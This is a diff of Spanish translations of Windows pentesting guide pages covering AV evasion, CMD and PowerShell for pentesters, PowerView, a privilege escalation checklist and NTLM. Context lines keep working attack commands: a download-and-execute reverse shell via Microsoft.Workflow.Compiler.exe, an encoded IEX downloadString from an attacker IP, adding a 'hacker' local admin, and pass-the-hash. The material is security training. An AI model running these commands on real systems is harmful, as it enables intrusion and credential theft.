Esto implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando haya terminado, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus desventajas. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor probabilidad** de que nuestro **implante sobreviva.** La desventaja es que tienes una **mayor probabilidad** de ser detectado por **Detecciones Comportamentales**.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -278,13 +276,13 @@ Se trata de inyectar el código malicioso de post-explotación **en su propio pr
|
||||
<figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Si deseas leer más sobre la carga de ensamblados de C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
> Si deseas leer más sobre la carga de ensamblados C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
|
||||
|
||||
También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
|
||||
|
||||
## Usando Otros Lenguajes de Programación
|
||||
|
||||
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al dar acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
|
||||
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al dar a la máquina comprometida acceso **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
|
||||
|
||||
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
|
||||
|
||||
@ -302,7 +300,7 @@ Te animo a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94) para
|
||||
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
|
||||
{{#endref}}
|
||||
|
||||
Esta también es otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en Profundidad.
|
||||
Esta es también otra gran charla de [@mariuszbit](https://twitter.com/mariuszbit) sobre Evasión en Profundidad.
|
||||
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
@ -469,11 +467,7 @@ catch (Exception err) { }
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
|
||||
```
|
||||
[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
|
||||
|
||||
[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
|
||||
|
||||
Descarga y ejecución automáticas:
|
||||
Descarga y ejecución automática:
|
||||
```csharp
|
||||
64bit:
|
||||
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# CMD básico de Windows para Pentesters
|
||||
# CMD básico de Win para Pentesters
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,11 +28,11 @@ Algunas variables de entorno a destacar:
|
||||
- **COMPUTERNAME**: Nombre de la computadora
|
||||
- **TEMP/TMP:** Carpeta temporal
|
||||
- **USERNAME:** Tu nombre de usuario
|
||||
- **HOMEPATH/USERPROFILE:** Directorio de inicio
|
||||
- **HOMEPATH/USERPROFILE:** Directorio personal
|
||||
- **windir:** C:\Windows
|
||||
- **OS**: Windows OS
|
||||
- **LOGONSERVER**: Nombre del controlador de dominio
|
||||
- **USERDNSDOMAIN**: Nombre de dominio a usar con DNS
|
||||
- **USERDNSDOMAIN**: Nombre de dominio para usar con DNS
|
||||
- **USERDOMAIN**: Nombre del dominio
|
||||
```bash
|
||||
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
||||
@ -42,7 +42,7 @@ nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
||||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||||
wmic logicaldisk get caption,description,providername
|
||||
```
|
||||
### [Defender](authentication-credentials-uac-and-efs/#defender)
|
||||
### [Defender](authentication-credentials-uac-and-efs/index.html#defender)
|
||||
|
||||
### Papelera de reciclaje
|
||||
```bash
|
||||
@ -229,7 +229,7 @@ net user hacker Hacker123! /add & net localgroup administrators hacker /add & ne
|
||||
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
|
||||
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
|
||||
```
|
||||
### Comparticiones
|
||||
### Compartidos
|
||||
```bash
|
||||
net view #Get a list of computers
|
||||
net view /all /domain [domainname] #Shares on the domains
|
||||
@ -330,7 +330,7 @@ Puedes escuchar en [http://+:80/Temporary_Listen_Addresses/](http://+/Temporary_
|
||||
```bash
|
||||
netsh http show urlacl
|
||||
```
|
||||
### Shell DNS manual
|
||||
### Manual DNS shell
|
||||
|
||||
**Atacante** (Kali) debe usar una de estas 2 opciones:
|
||||
```bash
|
||||
@ -369,7 +369,7 @@ i=system("net localgroup administrators otherAcc /add");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
## Hoja de trucos de flujos de datos alternativos (ADS/Flujo de datos alternativo)
|
||||
## Hoja de trucos de flujos de datos alternativos (ADS/Alternate Data Stream)
|
||||
|
||||
**Ejemplos tomados de** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. ¡Hay muchos más allí!**
|
||||
```bash
|
||||
|
||||
@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
|
||||
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
PS> powershell -EncodedCommand <Base64>
|
||||
```
|
||||
## [Política de Ejecución](../authentication-credentials-uac-and-efs/#ps-execution-policy)
|
||||
## [Política de Ejecución](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
|
||||
|
||||
## [Lenguaje Constrenido](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
|
||||
|
||||
@ -117,7 +117,7 @@ ValueData : 0
|
||||
|
||||
**`amsi.dll`** se **carga** en tu proceso y tiene las **exportaciones** necesarias para que cualquier aplicación interactúe. Y debido a que está cargado en el espacio de memoria de un proceso que **controlas**, puedes cambiar su comportamiento **sobrescribiendo instrucciones en memoria**. Haciendo que no detecte nada.
|
||||
|
||||
Por lo tanto, el objetivo de los bypass de AMSI que realizarás es **sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil**.
|
||||
Por lo tanto, el objetivo de los bypass de AMSI que vas a realizar es **sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil**.
|
||||
|
||||
**Página web del generador de bypass de AMSI**: [**https://amsi.fail/**](https://amsi.fail/)
|
||||
```powershell
|
||||
@ -227,6 +227,8 @@ $shell = New-Object -com shell.application
|
||||
$rb = $shell.Namespace(10)
|
||||
$rb.Items()
|
||||
```
|
||||
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
|
||||
|
||||
## Reconocimiento de Dominio
|
||||
|
||||
{{#ref}}
|
||||
@ -250,7 +252,7 @@ Password : 1ts-mag1c!!!
|
||||
SecurePassword : System.Security.SecureString
|
||||
Domain : HTB
|
||||
```
|
||||
O directamente analizando el formulario XML:
|
||||
O directamente analizando desde XML:
|
||||
```powershell
|
||||
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
|
||||
|
||||
|
||||
@ -137,7 +137,7 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
|
||||
### Group Policy Object - GPOs
|
||||
|
||||
Si un atacante tiene **altos privilegios sobre un GPO**, podría ser capaz de **privesc** abusando de él al **agregar permisos a un usuario**, **agregar un usuario administrador local** a un host o **crear una tarea programada** (inmediata) para realizar una acción.\
|
||||
Para [**más información sobre esto y cómo abusar de ello, sigue este enlace**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
Para [**más información sobre esto y cómo abusar de ello, sigue este enlace**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
@ -221,7 +221,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
||||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### Fruto **bajo** **colgante**
|
||||
### L**ow**-**hanging fruit**
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
||||
@ -4,111 +4,111 @@
|
||||
|
||||
### **Mejor herramienta para buscar vectores de escalación de privilegios locales en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Información del sistema](windows-local-privilege-escalation/#system-info)
|
||||
### [Información del sistema](windows-local-privilege-escalation/index.html#system-info)
|
||||
|
||||
- [ ] Obtener [**Información del sistema**](windows-local-privilege-escalation/#system-info)
|
||||
- [ ] Buscar **exploits de kernel** [**usando scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||
- [ ] Obtener [**Información del sistema**](windows-local-privilege-escalation/index.html#system-info)
|
||||
- [ ] Buscar **exploits de kernel** [**usando scripts**](windows-local-privilege-escalation/index.html#version-exploits)
|
||||
- [ ] Usar **Google para buscar** **exploits de kernel**
|
||||
- [ ] Usar **searchsploit para buscar** **exploits de kernel**
|
||||
- [ ] ¿Información interesante en [**variables de entorno**](windows-local-privilege-escalation/#environment)?
|
||||
- [ ] ¿Contraseñas en [**historial de PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||
- [ ] ¿Información interesante en [**configuraciones de Internet**](windows-local-privilege-escalation/#internet-settings)?
|
||||
- [ ] [**Unidades**](windows-local-privilege-escalation/#drives)?
|
||||
- [ ] [**Explotación de WSUS**](windows-local-privilege-escalation/#wsus)?
|
||||
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||
- [ ] ¿Información interesante en [**variables de entorno**](windows-local-privilege-escalation/index.html#environment)?
|
||||
- [ ] ¿Contraseñas en [**historial de PowerShell**](windows-local-privilege-escalation/index.html#powershell-history)?
|
||||
- [ ] ¿Información interesante en [**configuraciones de Internet**](windows-local-privilege-escalation/index.html#internet-settings)?
|
||||
- [ ] ¿[**Unidades**](windows-local-privilege-escalation/index.html#drives)?
|
||||
- [ ] ¿[**Explotación de WSUS**](windows-local-privilege-escalation/index.html#wsus)?
|
||||
- [ ] ¿[**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
|
||||
|
||||
### [Enumeración de registros/AV](windows-local-privilege-escalation/#enumeration)
|
||||
### [Enumeración de registros/AV](windows-local-privilege-escalation/index.html#enumeration)
|
||||
|
||||
- [ ] Verificar [**configuraciones de auditoría**](windows-local-privilege-escalation/#audit-settings) y [**WEF**](windows-local-privilege-escalation/#wef)
|
||||
- [ ] Verificar [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||
- [ ] Verificar si [**WDigest**](windows-local-privilege-escalation/#wdigest) está activo
|
||||
- [ ] ¿[**Protección de LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||
- [ ] ¿[**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
- [ ] ¿[**Credenciales en caché**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
- [ ] Verificar [**configuraciones de auditoría**](windows-local-privilege-escalation/index.html#audit-settings) y [**WEF**](windows-local-privilege-escalation/index.html#wef)
|
||||
- [ ] Verificar [**LAPS**](windows-local-privilege-escalation/index.html#laps)
|
||||
- [ ] Verificar si [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) está activo
|
||||
- [ ] ¿[**Protección de LSA**](windows-local-privilege-escalation/index.html#lsa-protection)?
|
||||
- [ ] ¿[**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
|
||||
- [ ] ¿[**Credenciales en caché**](windows-local-privilege-escalation/index.html#cached-credentials)?
|
||||
- [ ] Verificar si hay algún [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
- [ ] ¿[**Política de AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
- [ ] [**Privilegios de usuario**](windows-local-privilege-escalation/#users-and-groups)
|
||||
- [ ] Verificar [**privilegios del usuario actual**](windows-local-privilege-escalation/#users-and-groups)
|
||||
- [ ] ¿Eres [**miembro de algún grupo privilegiado**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
- [ ] Verificar si tienes [cualquiera de estos tokens habilitados](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] ¿[**Sesiones de usuarios**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
- [ ] Verificar [**carpetas de usuarios**](windows-local-privilege-escalation/#home-folders) (¿acceso?)
|
||||
- [ ] Verificar [**Política de Contraseñas**](windows-local-privilege-escalation/#password-policy)
|
||||
- [ ] ¿Qué hay [**dentro del portapapeles**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
- [ ] ¿[**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)?
|
||||
- [ ] ¿[**Privilegios de usuario**](windows-local-privilege-escalation/index.html#users-and-groups)?
|
||||
- [ ] Verificar [**privilegios del usuario actual**](windows-local-privilege-escalation/index.html#users-and-groups)
|
||||
- [ ] ¿Eres [**miembro de algún grupo privilegiado**](windows-local-privilege-escalation/index.html#privileged-groups)?
|
||||
- [ ] Verificar si tienes [cualquiera de estos tokens habilitados](windows-local-privilege-escalation/index.html#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
- [ ] ¿[**Sesiones de usuarios**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
|
||||
- [ ] Verificar [**carpetas de usuarios**](windows-local-privilege-escalation/index.html#home-folders) (¿acceso?)
|
||||
- [ ] Verificar [**Política de Contraseñas**](windows-local-privilege-escalation/index.html#password-policy)
|
||||
- [ ] ¿Qué hay [**dentro del portapapeles**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Red](windows-local-privilege-escalation/#network)
|
||||
### [Red](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Verificar **información de red** [**actual**](windows-local-privilege-escalation/#network)
|
||||
- [ ] Verificar **información de red** [**actual**](windows-local-privilege-escalation/index.html#network)
|
||||
- [ ] Verificar **servicios locales ocultos** restringidos al exterior
|
||||
|
||||
### [Procesos en ejecución](windows-local-privilege-escalation/#running-processes)
|
||||
### [Procesos en ejecución](windows-local-privilege-escalation/index.html#running-processes)
|
||||
|
||||
- [ ] Permisos de [**archivos y carpetas de procesos**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
- [ ] [**Minería de contraseñas en memoria**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
- [ ] [**Aplicaciones GUI inseguras**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
- [ ] Permisos de [**archivos y carpetas de procesos**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
|
||||
- [ ] [**Minería de contraseñas en memoria**](windows-local-privilege-escalation/index.html#memory-password-mining)
|
||||
- [ ] [**Aplicaciones GUI inseguras**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
|
||||
- [ ] ¿Robar credenciales con **procesos interesantes** a través de `ProcDump.exe`? (firefox, chrome, etc ...)
|
||||
|
||||
### [Servicios](windows-local-privilege-escalation/#services)
|
||||
### [Servicios](windows-local-privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] ¿Puedes **modificar algún servicio**?
|
||||
- [ ] ¿Puedes **modificar** el **binario** que es **ejecutado** por algún **servicio**?
|
||||
- [ ] ¿Puedes **modificar** el **registro** de algún **servicio**?
|
||||
- [ ] ¿Puedes aprovechar algún **camino de binario de servicio no citado**?
|
||||
- [ ] ¿Puedes **modificar algún servicio**?](windows-local-privilege-escalation/index.html#permissions)
|
||||
- [ ] ¿Puedes **modificar** el **binario** que es **ejecutado** por algún **servicio**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
|
||||
- [ ] ¿Puedes **modificar** el **registro** de algún **servicio**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
|
||||
- [ ] ¿Puedes aprovechar cualquier **ruta de binario de servicio no citada**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
|
||||
|
||||
### [**Aplicaciones**](windows-local-privilege-escalation/#applications)
|
||||
### [**Aplicaciones**](windows-local-privilege-escalation/index.html#applications)
|
||||
|
||||
- [ ] **Escribir** [**permisos en aplicaciones instaladas**](windows-local-privilege-escalation/#write-permissions)
|
||||
- [ ] [**Aplicaciones de inicio**](windows-local-privilege-escalation/#run-at-startup)
|
||||
- [ ] **Controladores** [**vulnerables**](windows-local-privilege-escalation/#drivers)
|
||||
- [ ] **Escribir** [**permisos en aplicaciones instaladas**](windows-local-privilege-escalation/index.html#write-permissions)
|
||||
- [ ] [**Aplicaciones de inicio**](windows-local-privilege-escalation/index.html#run-at-startup)
|
||||
- [ ] **Controladores** [**vulnerables**](windows-local-privilege-escalation/index.html#drivers)
|
||||
|
||||
### [Secuestro de DLL](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
### [Secuestro de DLL](windows-local-privilege-escalation/index.html#path-dll-hijacking)
|
||||
|
||||
- [ ] ¿Puedes **escribir en alguna carpeta dentro de PATH**?
|
||||
- [ ] ¿Hay algún binario de servicio conocido que **intente cargar alguna DLL no existente**?
|
||||
- [ ] ¿Puedes **escribir** en alguna **carpeta de binarios**?
|
||||
|
||||
### [Red](windows-local-privilege-escalation/#network)
|
||||
### [Red](windows-local-privilege-escalation/index.html#network)
|
||||
|
||||
- [ ] Enumerar la red (comparticiones, interfaces, rutas, vecinos, ...)
|
||||
- [ ] Prestar especial atención a los servicios de red que escuchan en localhost (127.0.0.1)
|
||||
|
||||
### [Credenciales de Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||
### [Credenciales de Windows](windows-local-privilege-escalation/index.html#windows-credentials)
|
||||
|
||||
- [ ] Credenciales de [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
||||
- [ ] ¿Credenciales de [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que podrías usar?
|
||||
- [ ] ¿Credenciales [**DPAPI**](windows-local-privilege-escalation/#dpapi) interesantes?
|
||||
- [ ] ¿Contraseñas de redes [**Wifi guardadas**](windows-local-privilege-escalation/#wifi)?
|
||||
- [ ] ¿Información interesante en [**Conexiones RDP guardadas**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
- [ ] ¿Contraseñas en [**comandos ejecutados recientemente**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
- [ ] ¿Contraseñas del [**Administrador de credenciales de Escritorio Remoto**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
- [ ] ¿Existe [**AppCmd.exe**](windows-local-privilege-escalation/#appcmd-exe)? ¿Credenciales?
|
||||
- [ ] ¿[**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? ¿Carga lateral de DLL?
|
||||
- [ ] Credenciales de [**Winlogon**](windows-local-privilege-escalation/index.html#winlogon-credentials)
|
||||
- [ ] ¿Credenciales de [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) que podrías usar?
|
||||
- [ ] ¿Interesantes [**credenciales DPAPI**](windows-local-privilege-escalation/index.html#dpapi)?
|
||||
- [ ] ¿Contraseñas de [**redes Wifi guardadas**](windows-local-privilege-escalation/index.html#wifi)?
|
||||
- [ ] ¿Información interesante en [**Conexiones RDP guardadas**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
|
||||
- [ ] ¿Contraseñas en [**comandos ejecutados recientemente**](windows-local-privilege-escalation/index.html#recently-run-commands)?
|
||||
- [ ] ¿Contraseñas de [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager)?
|
||||
- [ ] ¿Existe [**AppCmd.exe**](windows-local-privilege-escalation/index.html#appcmd-exe)? ¿Credenciales?
|
||||
- [ ] ¿[**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? ¿Carga lateral de DLL?
|
||||
|
||||
### [Archivos y Registro (Credenciales)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
### [Archivos y Registro (Credenciales)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
|
||||
|
||||
- [ ] **Putty:** [**Credenciales**](windows-local-privilege-escalation/#putty-creds) **y** [**claves de host SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
- [ ] ¿[**Claves SSH en el registro**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
- [ ] ¿Contraseñas en [**archivos desatendidos**](windows-local-privilege-escalation/#unattended-files)?
|
||||
- [ ] ¿Alguna copia de seguridad de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
- [ ] ¿[**Credenciales en la nube**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
- [ ] ¿Archivo de [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
||||
- [ ] ¿[**Contraseña GPP en caché**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
- [ ] ¿Contraseña en [**archivo de configuración de IIS Web**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
- [ ] ¿Información interesante en [**registros web**](windows-local-privilege-escalation/#logs)?
|
||||
- [ ] ¿Quieres [**pedir credenciales**](windows-local-privilege-escalation/#ask-for-credentials) al usuario?
|
||||
- [ ] ¿Archivos [**interesantes dentro de la Papelera de reciclaje**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
- [ ] ¿Otros [**registros que contienen credenciales**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
- [ ] ¿Dentro de [**datos del navegador**](windows-local-privilege-escalation/#browsers-history) (dbs, historial, marcadores, ...)?
|
||||
- [ ] Búsqueda de [**contraseña genérica**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) en archivos y registro
|
||||
- [ ] [**Herramientas**](windows-local-privilege-escalation/#tools-that-search-for-passwords) para buscar contraseñas automáticamente
|
||||
- [ ] **Putty:** [**Credenciales**](windows-local-privilege-escalation/index.html#putty-creds) **y** [**claves de host SSH**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
|
||||
- [ ] ¿[**Claves SSH en el registro**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
|
||||
- [ ] ¿Contraseñas en [**archivos desatendidos**](windows-local-privilege-escalation/index.html#unattended-files)?
|
||||
- [ ] ¿Alguna copia de seguridad de [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups)?
|
||||
- [ ] ¿[**Credenciales en la nube**](windows-local-privilege-escalation/index.html#cloud-credentials)?
|
||||
- [ ] ¿Archivo de [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml)?
|
||||
- [ ] ¿[**Contraseña GPP en caché**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
|
||||
- [ ] ¿Contraseña en [**archivo de configuración de IIS Web**](windows-local-privilege-escalation/index.html#iis-web-config)?
|
||||
- [ ] ¿Información interesante en [**registros web**](windows-local-privilege-escalation/index.html#logs)?
|
||||
- [ ] ¿Quieres [**pedir credenciales**](windows-local-privilege-escalation/index.html#ask-for-credentials) al usuario?
|
||||
- [ ] ¿Interesantes [**archivos dentro de la Papelera de reciclaje**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
|
||||
- [ ] ¿Otros [**registros que contienen credenciales**](windows-local-privilege-escalation/index.html#inside-the-registry)?
|
||||
- [ ] ¿Dentro de [**datos del navegador**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, historial, marcadores, ...)?
|
||||
- [ ] [**Búsqueda genérica de contraseñas**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) en archivos y registro
|
||||
- [ ] [**Herramientas**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) para buscar contraseñas automáticamente
|
||||
|
||||
### [Manejadores filtrados](windows-local-privilege-escalation/#leaked-handlers)
|
||||
### [Manejadores filtrados](windows-local-privilege-escalation/index.html#leaked-handlers)
|
||||
|
||||
- [ ] ¿Tienes acceso a algún manejador de un proceso ejecutado por el administrador?
|
||||
|
||||
### [Suplantación de cliente de tubería](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
### [Suplantación de cliente de Pipe](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
|
||||
|
||||
- [ ] Verifica si puedes abusar de ello
|
||||
- [ ] Verificar si puedes abusar de ello
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
En entornos donde **Windows XP y Server 2003** están en operación, se utilizan hashes LM (Lan Manager), aunque se reconoce ampliamente que estos pueden ser fácilmente comprometidos. Un hash LM particular, `AAD3B435B51404EEAAD3B435B51404EE`, indica un escenario donde LM no se emplea, representando el hash para una cadena vacía.
|
||||
|
||||
Por defecto, el protocolo de autenticación **Kerberos** es el método principal utilizado. NTLM (NT LAN Manager) entra en acción bajo circunstancias específicas: ausencia de Active Directory, inexistencia del dominio, mal funcionamiento de Kerberos debido a una configuración incorrecta, o cuando se intentan conexiones utilizando una dirección IP en lugar de un nombre de host válido.
|
||||
Por defecto, el protocolo de autenticación **Kerberos** es el método principal utilizado. NTLM (NT LAN Manager) interviene bajo circunstancias específicas: ausencia de Active Directory, inexistencia del dominio, mal funcionamiento de Kerberos debido a una configuración incorrecta, o cuando se intentan conexiones utilizando una dirección IP en lugar de un nombre de host válido.
|
||||
|
||||
La presencia del encabezado **"NTLMSSP"** en los paquetes de red señala un proceso de autenticación NTLM.
|
||||
|
||||
@ -57,7 +57,7 @@ El **servidor** y el **Controlador de Dominio** pueden crear un **Canal Seguro**
|
||||
|
||||
### Esquema de autenticación NTLM local
|
||||
|
||||
La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor se verificará a sí mismo** si el usuario puede autenticarse.
|
||||
La autenticación es como la mencionada **anteriormente, pero** el **servidor** conoce el **hash del usuario** que intenta autenticarse dentro del archivo **SAM**. Así que, en lugar de preguntar al Controlador de Dominio, el **servidor verificará por sí mismo** si el usuario puede autenticarse.
|
||||
|
||||
### Reto NTLMv1
|
||||
|
||||
